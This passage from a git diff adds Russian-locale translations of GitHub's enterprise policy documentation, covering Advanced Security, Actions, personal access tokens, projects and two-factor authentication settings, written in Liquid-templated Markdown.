{% data variables.product.prodname_advanced_security %} features. You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} use {% data variables.product.prodname_advanced_security %}. + +{% ifversion security-feature-enablement-policies %} +## Enforcing a policy to manage the use of {% data variables.product.prodname_dependabot_alerts %} in your enterprise + +Across all organizations owned by your enterprise, you can allow members with admin permissions for repositories to enable or disable {% data variables.product.prodname_dependabot_alerts %} and change {% data variables.product.prodname_dependabot_alerts %} settings. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.code-security-and-analysis-policies %} +1. Under "Change {% data variables.product.prodname_dependabot_alerts %} settings", use the dropdown menu and choose a policy. + + ![Screenshot of "Change Dependabot alert settings" dropdown](/assets/images/help/enterprises/change-dependabot-alerts-settings.png) + +{% endif %} + +## Enforcing a policy for the use of {% data variables.product.prodname_GH_advanced_security %} in your enterprise's organizations + +{% data reusables.advanced-security.about-ghas-organization-policy %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %}{% ifversion security-feature-enablement-policies %} +{% data reusables.enterprise-accounts.code-security-and-analysis-policies %}{% else %} +{% data reusables.enterprise-accounts.advanced-security-policies %}{% endif %}{% ifversion security-feature-enablement-policies %} +1. In the "{% data variables.product.prodname_GH_advanced_security %} policies section, under "Availability", select the dropdown menu and click a policy for the organizations owned by your enterprise. + + ![Screenshot of "Availability" dropdown](/assets/images/help/enterprises/advanced-security-policies-availability.png){% else %} + +{% data reusables.enterprise-accounts.advanced-security-organization-policy-drop-down %}{% endif %} +{% data reusables.enterprise-accounts.advanced-security-individual-organization-policy-drop-down %} + +{% ifversion security-feature-enablement-policies %} +## Enforcing a policy to manage the use of {% data variables.product.prodname_GH_advanced_security %} features in your enterprise's repositories + +Across all of your enterprise's organizations, you can allow or disallow people with admin access to repositories to manage the use of {% data variables.product.prodname_GH_advanced_security %} features in the repositories. {% data reusables.advanced-security.ghas-must-be-enabled %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.code-security-and-analysis-policies %} +1. In the "{% data variables.product.prodname_GH_advanced_security %} policies section, under "Enable or disable {% data variables.product.prodname_GH_advanced_security %}", use the dropdown menu and choose a policy. + + ![Screenshot of the "Enable or disable {% data variables.product.prodname_GH_advanced_security %}" dropdown](/assets/images/help/enterprises/advanced-security-policies-enable-or-disable.png) + +## Enforcing a policy to manage the use of {% data variables.product.prodname_secret_scanning %} in your enterprise's repositories + +Across all of your enterprise's organizations, you can allow or disallow people with admin access to repositories to manage and configure {% data variables.product.prodname_secret_scanning %} for the repositories. {% data reusables.advanced-security.ghas-must-be-enabled %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.code-security-and-analysis-policies %} +1. In the "{% data variables.product.prodname_GH_advanced_security %} policies section, under "Change {% data variables.product.prodname_secret_scanning %} settings", use the dropdown menu and choose a policy. + + ![Screenshot of the "Change {% data variables.product.prodname_secret_scanning %} settings" dropdown](/assets/images/help/enterprises/advanced-security-policies-secret-scanning.png) + +{% endif %} diff --git a/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md new file mode 100644 index 000000000000..b5e3b2f2fc65 --- /dev/null +++ b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md @@ -0,0 +1,40 @@ +--- +title: Применение политик для аналитики зависимостей на предприятии +intro: Вы можете применять политики для анализа зависимостей в организациях предприятия или разрешить настройку политик в каждой организации. +permissions: Enterprise owners can enforce policies for dependency insights in an enterprise. +redirect_from: + - /articles/enforcing-a-policy-on-dependency-insights + - /articles/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise-account/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account +versions: + ghec: '*' +type: how_to +topics: + - Dependencies + - Enterprise + - Organizations + - Policies +shortTitle: Policies for dependency insights +ms.openlocfilehash: 6862a5d1210eda7d9c14d77eabf21e7a9a5a25b4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145112563' +--- +## Сведения о применении политик для аналитики зависимостей на предприятии + +Аналитика зависимостей показывает все пакеты, от которых зависят репозитории в организациях предприятия. Аналитика зависимостей включает агрегированные сведения о рекомендациях по безопасности и лицензиях. Дополнительные сведения см. в разделе [Просмотр аналитических сведений для организации](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization). + +## Применение политики для видимости аналитики зависимостей + +Во всех организациях, принадлежащих предприятию, можно контролировать, могут ли члены организации просматривать аналитические сведения о зависимостях. Можно также разрешить владельцам администрировать параметр на уровне организации. Дополнительные сведения см. в разделе [Изменение видимости аналитических сведений о зависимостях организации](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights). + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} +3. На левой боковой панели щелкните **Организации**. + ![Вкладка "Организации" на боковой панели предприятия](/assets/images/help/business-accounts/settings-policies-org-tab.png) +4. В разделе "Политики организации" проверьте сведения об изменении параметра. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. В разделе "Политики организации" выберите политику в раскрывающемся меню. + ![Раскрывающееся меню с параметрами политик организации](/assets/images/help/business-accounts/organization-policy-drop-down.png) diff --git a/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md new file mode 100644 index 000000000000..30948b0de1a2 --- /dev/null +++ b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md @@ -0,0 +1,194 @@ +--- +title: Enforcing policies for GitHub Actions in your enterprise +intro: 'You can enforce policies for {% data variables.product.prodname_actions %} within your enterprise''s organizations, or allow policies to be set in each organization.' +permissions: 'Enterprise owners can enforce policies for {% data variables.product.prodname_actions %} in an enterprise.' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /enterprise/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise + - /admin/github-actions/enforcing-github-actions-policies-for-your-enterprise + - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/enforcing-github-actions-policies-for-your-enterprise + - /github/setting-up-and-managing-your-enterprise-account/enforcing-github-actions-policies-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/enforcing-github-actions-policies-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-github-actions-policies-in-your-enterprise-account + - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise + - /github/setting-up-and-managing-your-enterprise-account/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-enterprise-account +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Actions + - Enterprise + - Policies +shortTitle: GitHub Actions policies +--- + +{% data reusables.actions.enterprise-beta %} + +## About policies for {% data variables.product.prodname_actions %} in your enterprise + +{% data variables.product.prodname_actions %} helps members of your enterprise automate software development workflows on {% data variables.product.product_name %}. For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)." + +{% ifversion ghes %}If you enable {% data variables.product.prodname_actions %}, any{% else %}Any{% endif %} organization on {% data variables.location.product_location %} can use {% data variables.product.prodname_actions %}. You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} use {% data variables.product.prodname_actions %}. By default, organization owners can manage how members use {% data variables.product.prodname_actions %}. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)." + +## Enforcing a policy to restrict the use of {% data variables.product.prodname_actions %} in your enterprise + +You can choose to disable {% data variables.product.prodname_actions %} for all organizations in your enterprise, or only allow specific organizations. You can also limit the use of public actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %}, so that people can only use local actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} that exist in your enterprise. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +1. Under "Policies", select your options. + + {% indented_data_reference reusables.actions.actions-use-policy-settings spaces=3 %} + + {%- ifversion ghes or ghae %} + {% note %} + + **Note:** To enable access to public actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}, you must first configure {% data variables.location.product_location %} to connect to {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling automatic access to GitHub.com actions using GitHub Connect](/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)." + + {% endnote %} + {%- endif %} + {% ifversion actions-workflow-policy %} + ![Enable, disable, or limits actions for this enterprise account](/assets/images/help/organizations/enterprise-actions-policy-with-workflows.png) + {%- else %} + ![Enable, disable, or limits actions for this enterprise account](/assets/images/help/organizations/enterprise-actions-policy.png) + {%- endif %} +1. Click **Save**. + +{% data reusables.actions.allow-specific-actions-intro %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +1. Under "Policies", select {% data reusables.actions.policy-label-for-select-actions-workflows %} and add your required actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} to the list. + {% ifversion actions-workflow-policy %} + ![Add actions and reusable workflows to the allow list](/assets/images/help/organizations/enterprise-actions-policy-allow-list-with-workflows.png) + {%- elsif ghes or ghae %} + ![Add actions to the allow list](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png) + {%- elsif ghae %} + ![Add actions to the allow list](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png) + {%- endif %} + +## Enforcing a policy for artifact and log retention in your enterprise + +{% data variables.product.prodname_actions %} can store artifact and log files. For more information, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." + +{% data reusables.actions.about-artifact-log-retention %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +{% data reusables.actions.change-retention-period-for-artifacts-logs %} + +## Enforcing a policy for fork pull requests in your enterprise + +You can enforce policies to control how {% data variables.product.prodname_actions %} behaves for {% data variables.location.product_location %} when members of your enterprise{% ifversion ghec %} or outside collaborators{% endif %} run workflows from forks. + +{% ifversion ghec %} + +### Enforcing a policy for approval of pull requests from outside collaborators + +{% data reusables.actions.workflow-run-approve-public-fork %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +{% data reusables.actions.workflows-from-public-fork-setting %} + +{% data reusables.actions.workflow-run-approve-link %} + +{% endif %} + +### Enforcing a policy for fork pull requests in private repositories + +{% data reusables.actions.private-repository-forks-overview %} + +If a policy is enabled for an enterprise, the policy can be selectively disabled in individual organizations or repositories. If a policy is disabled for an enterprise, individual organizations or repositories cannot enable it. + +{% data reusables.actions.private-repository-forks-options %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +{% data reusables.actions.private-repository-forks-configure %} + +{% ifversion ghec or ghes or ghae %} + +## Enforcing a policy for workflow permissions in your enterprise + +{% data reusables.actions.workflow-permissions-intro %} + +You can set the default permissions for the `GITHUB_TOKEN` in the settings for your enterprise, organizations, or repositories. If you choose a restricted option as the default in your enterprise settings, this prevents the more permissive setting being chosen in the organization or repository settings. + +{% data reusables.actions.workflow-permissions-modifying %} + +### Configuring the default `GITHUB_TOKEN` permissions + +{% ifversion allow-actions-to-approve-pr-with-ent-repo %} +By default, when you create a new enterprise, `GITHUB_TOKEN` only has read access for the `contents` scope. +{% endif %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +1. Under "Workflow permissions", choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope. + + {% ifversion allow-actions-to-approve-pr-with-ent-repo %} + ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise-with-pr-approval.png) + {% else %} + ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise.png) + {% endif %} +1. Click **Save** to apply the settings. + +{% ifversion allow-actions-to-approve-pr-with-ent-repo %} +### Preventing {% data variables.product.prodname_actions %} from creating or approving pull requests + +{% data reusables.actions.workflow-pr-approval-permissions-intro %} + +By default, when you create a new enterprise, workflows are not allowed to create or approve pull requests. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +1. Under "Workflow permissions", use the **Allow GitHub Actions to create and approve pull requests** setting to configure whether `GITHUB_TOKEN` can create and approve pull requests. + + ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise-with-pr-approval.png) +1. Click **Save** to apply the settings. + +{% endif %} +{% endif %} + +{% ifversion actions-cache-policy-apis %} + +## Enforcing a policy for cache storage in your enterprise + +{% data reusables.actions.cache-default-size %} {% data reusables.actions.cache-eviction-process %} + +However, you can set an enterprise policy to customize both the default total cache size for each repository, as well as the maximum total cache size allowed for a repository. For example, you might want the default total cache size for each repository to be 5 GB, but also allow {% ifversion actions-cache-admin-ui %}organization owners and{% endif %} repository administrators to configure a total cache size up to 15 GB if necessary. + +{% ifversion actions-cache-admin-ui %}Organization owners can set a lower total cache size that applies to each repository in their organization. {% endif %}People with admin access to a repository can set a total cache size for their repository up to the maximum cache size allowed by the enterprise {% ifversion actions-cache-admin-ui %}or organization{% endif %} policy setting. + +{% ifversion actions-cache-admin-ui %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +1. In the "Artifact, cache and log settings" section, under **Maximum cache size limit**, enter a value, then click **Save** to apply the setting. +1. In the "Artifact, cache and log settings" section, under **Default cache size limit**, enter a value, then click **Save** to apply the setting. + +{% else %} + +The policy settings for {% data variables.product.prodname_actions %} cache storage can currently only be modified using the REST API: + +* To view the current enterprise policy settings, see "[Get GitHub Actions cache usage policy for an enterprise](/rest/actions/cache#get-github-actions-cache-usage-policy-for-an-enterprise)." +* To change the enterprise policy settings, see "[Set GitHub Actions cache usage policy for an enterprise](/rest/actions/cache#get-github-actions-cache-usage-policy-for-an-enterprise)." + +{% data reusables.actions.cache-no-org-policy %} + +{% endif %} + +{% endif %} diff --git a/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise.md b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise.md new file mode 100644 index 000000000000..65a60b7d4ea9 --- /dev/null +++ b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise.md @@ -0,0 +1,62 @@ +--- +title: Enforcing policies for personal access tokens in your enterprise +intro: 'Enterprise owners can control whether to allow {% data variables.product.pat_v2 %}s and {% data variables.product.pat_v1_plural %}, and can require approval for {% data variables.product.pat_v2 %}s.' +versions: + feature: pat-v2-enterprise +shortTitle: '{% data variables.product.pat_generic_caps %} policies' +--- + +{% note %} + +**Note**: {% data reusables.user-settings.pat-v2-beta %} + +During the beta, enterprises must opt in to {% data variables.product.pat_v2 %}s. If your enterprise has not already opted-in, then you will be prompted to opt-in and set policies when you follow the steps below. + +Even if an enterprise has not opted in to {% data variables.product.pat_v2 %}s, organizations owned by the enterprise can still opt in. All users, including {% data variables.product.prodname_emus %}, can create {% data variables.product.pat_v2 %}s that can access resources owned by the user (such as repositories created under their account) even if the enterprise has not opted in to {% data variables.product.pat_v2 %}s. + +{% endnote %} + +## Restricting access by {% data variables.product.pat_v2 %}s + +Enterprise owners can prevent {% data variables.product.pat_v2 %}s from accessing private and internal resources owned by the enterprise. {% data variables.product.pat_v2_caps %}s will still be able to access public resources within the organizations. This setting only controls access by {% data variables.product.pat_v2 %}s, not {% data variables.product.pat_v1_plural %}. For more information about restricting access by {% data variables.product.pat_v1_plural %}, see "[Restricting access by {% data variables.product.pat_v1_plural %}](#restricting-access-by-personal-access-tokens-classic)" on this page. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +1. Under {% octicon "law" aria-label="The law icon" %} **Policies**, click **Organizations**. +1. Under **Restrict access via {% data variables.product.pat_v2 %}s**, select the option that meets your needs: + - **Allow organizations to configure access requirements**: Each organization owned by the enterprise can decide whether to restrict access by {% data variables.product.pat_v2 %}s. + - **Restrict access via {% data variables.product.pat_v2 %}s**: {% data variables.product.pat_v2_caps %}s cannot access organizations owned by the enterprise. SSH keys created by {% data variables.product.pat_v2 %}s will continue to work. Organizations cannot override this setting. + - **Allow access via {% data variables.product.pat_v2 %}s**: {% data variables.product.pat_v2_caps %}s can access organizations owned by the enterprise. Organizations cannot override this setting. +1. Click **Save**. + +## Enforcing an approval policy for {% data variables.product.pat_v2 %}s + +Enterprise owners can require that all organizations owned by the enterprise must approve each {% data variables.product.pat_v2 %} that can access the organization. {% data variables.product.pat_v2_caps %}s will still be able to read public resources within the organization without approval. Conversely, enterprise owners can allow {% data variables.product.pat_v2 %}s to access organizations in the enterprise without prior approval. Enterprise owners can also let each organization in the enterprise choose their own approval settings. + +{% note %} + +**Note**: Only {% data variables.product.pat_v2 %}s, not {% data variables.product.pat_v1_plural %}, are subject to approval. Unless the organization or enterprise has restricted access by {% data variables.product.pat_v1_plural %}, any {% data variables.product.pat_v1 %} can access organization resources without prior approval. For more information about restricting {% data variables.product.pat_v1_plural %}, see "[Restricting access by {% data variables.product.pat_v1_plural %}](#restricting-access-by-personal-access-tokens-classic)" on this page and "[Setting a {% data variables.product.pat_generic %} policy for your organization](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization)." + +{% endnote %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +1. Under {% octicon "law" aria-label="The law icon" %} **Policies**, click **Organizations**. +1. Under **Require approval of {% data variables.product.pat_v2 %}s**, select the option that meets your needs: + - **Allow organizations to configure approval requirements**: Each organization owned by the enterprise can decide whether to require approval of {% data variables.product.pat_v2 %} that can access the organization. + - **Require organizations to use the approval flow**: All organizations owned by the enterprise must approve each {% data variables.product.pat_v2 %} that can access the organization. {% data variables.product.pat_v2_caps %}s created by organization owners will not need approval. Organizations cannot override this setting. + - **Disable the approval flow in all organizations**: {% data variables.product.pat_v2_caps %}s created by organization members can access organizations owned by the enterprise without prior approval. Organizations cannot override this setting. +1. Click **Save**. + +## Restricting access by {% data variables.product.pat_v1_plural %} + +Enterprise owners can prevent {% data variables.product.pat_v1_plural %} from accessing the enterprise and organizations owned by the enterprise. {% data variables.product.pat_v1_caps_plural %} will still be able to access public resources within the organization. This setting only controls access by {% data variables.product.pat_v1_plural %}, not {% data variables.product.pat_v2 %}s. For more information about restricting access by {% data variables.product.pat_v2 %}s, see "[Restricting access by {% data variables.product.pat_v2 %}s](#restricting-access-by-fine-grained-personal-access-tokens)" on this page. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +1. Under {% octicon "law" aria-label="The law icon" %} **Policies**, click **Organizations**. +1. Under **Restrict {% data variables.product.pat_v1_plural %} from accessing your organizations**, select the option that meets your needs: + - **Allow organizations to configure {% data variables.product.pat_v1_plural %} access requirements**: Each organization owned by the enterprise can decide whether to restrict access by {% data variables.product.pat_v1_plural %}. + - **Restrict access via {% data variables.product.pat_v1_plural %}**: {% data variables.product.pat_v1_caps_plural %} cannot access the enterprise or organizations owned by the enterprise. SSH keys created by {% data variables.product.pat_v1_plural %} will continue to work. Organizations cannot override this setting. + - **Allow access via {% data variables.product.pat_v1_plural %}**: {% data variables.product.pat_v1_caps_plural %} can access the enterprise and organizations owned by the enterprise. Organizations cannot override this setting. +1. Click **Save**. diff --git a/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise.md b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise.md new file mode 100644 index 000000000000..f0be10228ed4 --- /dev/null +++ b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise.md @@ -0,0 +1,70 @@ +--- +title: Применение политик для проектов на предприятии +intro: 'Вы можете применить политики для {% data variables.projects.projects_v2_and_v1 %} в организациях предприятия или разрешить настройку политик в каждой организации.' +permissions: Enterprise owners can enforce policies for projects in an enterprise. +redirect_from: + - /articles/enforcing-project-board-settings-for-organizations-in-your-business-account + - /articles/enforcing-project-board-policies-for-organizations-in-your-enterprise-account + - /articles/enforcing-project-board-policies-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise-account/enforcing-project-board-policies-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/enforcing-project-board-policies-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-project-board-policies-in-your-enterprise-account + - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - Policies + - Projects +shortTitle: Project board policies +ms.openlocfilehash: 2bb72b21094fadea8f584eb4749ed0cea69619ee +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108799' +--- +## Сведения о политиках для проектов на предприятии + +Вы можете использовать политики, чтобы управлять тем, как корпоративные участники управляют {% data variables.projects.projects_v2_and_v1 %}, или разрешить владельцам организаций управлять политиками для {% data variables.projects.projects_v2_and_v1 %} на уровне организации. {% ifversion project-visibility-policy %} + +Некоторые политики применяются к {% data variables.product.prodname_projects_v2 %}, новому интерфейсу проектов, и {% data variables.product.prodname_projects_v1 %}, предыдущему интерфейсу, а некоторые применяются только к {% data variables.product.prodname_projects_v1 %}. Дополнительные сведения о каждом интерфейсе см. в разделах [Сведения о {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects) и [Сведения о {% data variables.product.prodname_projects_v1 %}](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards). +{% else %}Дополнительные сведения см. в статье [Сведения о досках проектов](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards).{% endif %} + +## Применение политики для проектов на уровне организации + +Во всех организациях, принадлежащих вашему предприятию, вы можете включать или отключать доски проектов в рамках организации или разрешать владельцам управлять настройкой на уровне организации. + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.projects-tab %} +4. В разделе "Проекты организации" просмотрите сведения об изменении параметра. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. В разделе "Проекты организации" выберите политику в раскрывающемся меню. + ![Раскрывающееся меню с параметрами политики для досок проектов организации](/assets/images/help/business-accounts/organization-projects-policy-drop-down.png) + +{% ifversion project-visibility-policy %} +## Применение политики в отношении изменения видимости проектов + +Во всех организациях, принадлежащих вашему предприятию, вы можете включить или отключить возможность доступа пользователей с правами администратора к проекту, чтобы изменить видимость проекта, или разрешить владельцам администрировать параметр на уровне организации. + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.projects-tab %} +1. В разделе "Разрешение на изменение видимости проекта" просмотрите сведения об изменении параметра. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +1. Нажмите на раскрывающееся меню и выберите политику. + + ![Снимок экрана: раскрывающееся меню для настройки политики "Разрешение на изменение видимости проекта"](/assets/images/help/business-accounts/project-visibility-change-drop-down.png) {% endif %} + +{% ifversion projects-v1 %} +## Применение политик для {% data variables.product.prodname_projects_v1 %} + +Некоторые политики применяются только к {% data variables.product.prodname_projects_v1 %}. + +### Применение политики для проектов репозитория + +Во всех организациях, принадлежащих вашему предприятию, вы можете включать или отключать проекты в рамках репозитория или разрешать владельцам управлять настройкой на уровне организации. + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.projects-tab %} +4. В разделе "Проекты репозитория" просмотрите сведения об изменении параметра. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. В разделе "Проекты репозитория" выберите политику в раскрывающемся меню. + + ![Раскрывающееся меню с параметрами политики для досок проектов репозитория](/assets/images/help/business-accounts/repository-projects-policy-drop-down.png) {% endif %} diff --git a/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md new file mode 100644 index 000000000000..bedf7001c2aa --- /dev/null +++ b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md @@ -0,0 +1,201 @@ +--- +title: Enforcing policies for security settings in your enterprise +intro: 'You can enforce policies to manage security settings in your enterprise''s organizations, or allow policies to be set in each organization.' +permissions: Enterprise owners can enforce policies for security settings in an enterprise. +miniTocMaxHeadingLevel: 3 +redirect_from: + - /articles/enforcing-security-settings-for-organizations-in-your-business-account + - /articles/enforcing-security-settings-for-organizations-in-your-enterprise-account + - /articles/enforcing-security-settings-in-your-enterprise-account + - /github/articles/managing-allowed-ip-addresses-for-organizations-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise-account/enforcing-security-settings-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/enforcing-security-settings-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-security-settings-in-your-enterprise-account +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - Policies + - Security +shortTitle: Policies for security settings +--- + +## About policies for security settings in your enterprise + +You can enforce policies to control the security settings for organizations owned by your enterprise on {% data variables.product.product_name %}. By default, organization owners can manage security settings. For more information, see "[Keeping your organization secure](/organizations/keeping-your-organization-secure)." + +{% ifversion ghec or ghes %} + +## Requiring two-factor authentication for organizations in your enterprise + +Enterprise owners can require that organization members, billing managers, and outside collaborators in all organizations owned by an enterprise use two-factor authentication to secure their user accounts. + +Before you can require 2FA for all organizations owned by your enterprise, you must enable two-factor authentication for your own account. For more information, see "[Securing your account with two-factor authentication (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa/)." + +{% warning %} + +**Warnings:** + +- When you require two-factor authentication for your enterprise, members, outside collaborators, and billing managers (including bot accounts) in all organizations owned by your enterprise who do not use 2FA will be removed from the organization and lose access to its repositories. They will also lose access to their forks of the organization's private repositories. You can reinstate their access privileges and settings if they enable two-factor authentication for their account within three months of their removal from your organization. For more information, see "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)." +- Any organization owner, member, billing manager, or outside collaborator in any of the organizations owned by your enterprise who disables 2FA for their account after you've enabled required two-factor authentication will automatically be removed from the organization. +- If you're the sole owner of an enterprise that requires two-factor authentication, you won't be able to disable 2FA for your user account without disabling required two-factor authentication for the enterprise. + +{% endwarning %} + +Before you require use of two-factor authentication, we recommend notifying organization members, outside collaborators, and billing managers and asking them to set up 2FA for their accounts. Organization owners can see if members and outside collaborators already use 2FA on each organization's People page. For more information, see "[Viewing whether users in your organization have 2FA enabled](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)." + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +4. Under "Two-factor authentication", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. Under "Two-factor authentication", select **Require two-factor authentication for all organizations in your business**, then click **Save**. + ![Checkbox to require two-factor authentication](/assets/images/help/business-accounts/require-2fa-checkbox.png) +6. If prompted, read the information about members and outside collaborators who will be removed from the organizations owned by your enterprise. To confirm the change, type your enterprise's name, then click **Remove members & require two-factor authentication**. + ![Confirm two-factor enforcement box](/assets/images/help/business-accounts/confirm-require-2fa.png) +7. Optionally, if any members or 